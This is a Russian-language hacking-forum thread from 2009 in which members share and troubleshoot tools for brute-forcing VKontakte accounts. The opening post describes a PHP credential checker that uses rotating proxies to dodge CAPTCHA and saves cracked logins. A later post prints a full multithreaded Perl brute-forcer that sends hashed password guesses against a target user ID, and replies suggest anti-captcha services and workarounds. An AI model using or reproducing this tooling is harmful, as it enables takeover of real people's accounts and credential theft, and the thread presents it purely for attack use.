PDA

Просмотр полной версии : bruteforce vkontakte


SVAROG
12.01.2009, 02:48
учусь пхп и в целях самообучения написал брутер(чекер) :)
Описание:
*чекер написан на PHP
*для запуска программы в PHP должен быть
подключён модуль cURL
*для обхода капчи используются прокси
*программа проверят доступность прокси и только потом уже начинает через неё работать, так что можно загнать много непрочеканных прокси и подождать пока прога сама определит через какие прокси работать
Использование:
в папке с брутером должны находиться 3 файла:
check.txt база email с паролями в виде "vasya@mail.ru:qwerty"
proxy.txt список прокси в виде "123.123.123.123:8080"
good.txt в этот файл будут помещаться удачно сбрученные логин с паролем

скрин:
http://img55.imageshack.us/img55/420/brutey9.gif
скачать (http://ifolder.ru/9983361)
P.S. для подключения cURL в файле php.ini в строке
;extension=php_curl.dll
убираем знак ";"
удачного брута :)

SVAROG
12.01.2009, 05:43
кто заюзал отпишитись здесь, интересно мнение узнать

*DeViL*
12.01.2009, 22:15
как я понял о многопоточности не может идти и речи?

AlexV
12.01.2009, 23:05
как я понял о многопоточности не может идти и речи?
Через cURL возможна многопоточность, если я не ошибаюсь, но не факт что в этом скрипте она есть.

-Onotole-
13.01.2009, 00:06
прокси будут дохнут шоппц,как я понял,да?

m0Hze
13.01.2009, 00:36
по 5 попыток на прокси,сам посчитай сколько нужно проксей,шоб пройтись по 100 паролям хотяб...

SVAROG
13.01.2009, 01:38
да, тут многопоточности нету

SVAROG
13.01.2009, 01:41
кстати, прога сама проверяет прокси, потом уже работает через неё

2oo9
13.01.2009, 03:51
Спасибо.

SVAROG
18.01.2009, 03:10
кому не в лом может веб интерфейс напишете?

F1shka
18.01.2009, 03:19
по 5 попыток на прокси,сам посчитай сколько нужно проксей,шоб пройтись по 100 паролям хотяб...
капча после третей вылетает.Вообще капча вылетает даже если просишь выслать пароль на мыло три-четыре раза.

Артем Солнце
23.01.2009, 00:51
#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

print qq(
################################################
# Brutfc Force for vkontakte.ru #
# Russian Cyber Underground Team #
# --=[WN13]=-- #
################################################ \n\n
);

$dic = 'pass.txt';
$id= "3029068";
$mail= "mail%40mail.ru";
$thr= "10";

open (pass, "<$dic");
Next:@pass = pass();
for(0..$thr)
{
$trl[$_] = threads->create(\&Brutfc, $_);
}
for(@trl)
{
$_->join;
}
sub Brutfc
{
while (@pass)
{
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozilla\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$rews = <$sock>;
close $sock;
print "$pass $rews";
if ($rews =~ /302/)
{
open (good, '>>good.txt');
print good "\n################################################ \n";
print good "\nyou password $pass from id$id \n";
print good "md5-hash: $md5\n";
print good "\n################################################ \n";
print "\n################################################ \n";
print "\nyou password $pass from id$id \n";
print "md5-hash: $md5\n";
print "\n################################################ \n\n";
close good;
exit;
}
}
}
goto Next;
sub pass
{
my (@mas);
while (<pass>)
{
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}

2oo9
23.01.2009, 07:10
Заюзайте сервис анти-капча ещё : )

Sobaka
28.01.2009, 00:01
Сылка сдохла =(((!

SVAROG
28.01.2009, 22:29
Сылка сдохла =(((!
тока что проверял норм всё

SatanAnge
03.02.2009, 13:24
пишет
Fatal error: Maximum execution time of 30 seconds exceeded in Z:\home\localhost\www\check.php on line 15
работаю с денвером

2oo9
04.02.2009, 22:20
пишет
Fatal error: Maximum execution time of 30 seconds exceeded in Z:\home\localhost\www\check.php on line 15
работаю с денвером

ищещь в php.ini строку max limit = 30 и меняешь значение на 999999999, всё : )

inlanger
05.02.2009, 12:11
Думаю, мож GUI на питоне ей сделать... Тогда и многопоточность можно попробовать сделать.